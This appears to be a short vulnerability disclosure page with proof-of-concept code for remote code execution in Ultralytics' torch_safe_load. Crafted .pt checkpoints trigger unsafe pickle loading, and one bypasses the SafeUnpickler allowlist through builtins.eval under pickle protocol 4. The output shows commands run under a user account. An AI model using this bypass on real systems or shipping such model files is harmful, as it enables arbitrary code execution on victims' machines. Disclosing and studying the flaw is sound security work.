Views
No views yet
malicious_default.pt triggers torch.load(weights_only=False) via patches.py:1791from ultralytics.nn.tasks import torch_safe_load
2ckpt, _ = torch_safe_load('malicious_default.pt')
3# Prints: [VULNERABLE] Ultralytics torch.load(weights_only=False) RCE:
4# uid=501(user) gid=20(staff) ...malicious_safe_bypass.pt uses pickle protocol 4 to resolve builtins.eval through the SafeUnpickler allowlist1from ultralytics.nn.tasks import torch_safe_load
2ckpt, _ = torch_safe_load('malicious_safe_bypass.pt', safe_only=True)
3# Prints: [VULNERABLE] Ultralytics SafeUnpickler BYPASS:
4# uid=501(user) gid=20(staff) ...builtins.eval (Python 3 name),
while protocol 2 uses __builtin__.eval (Python 2 name). SafeUnpickler allows builtins but not __builtin__.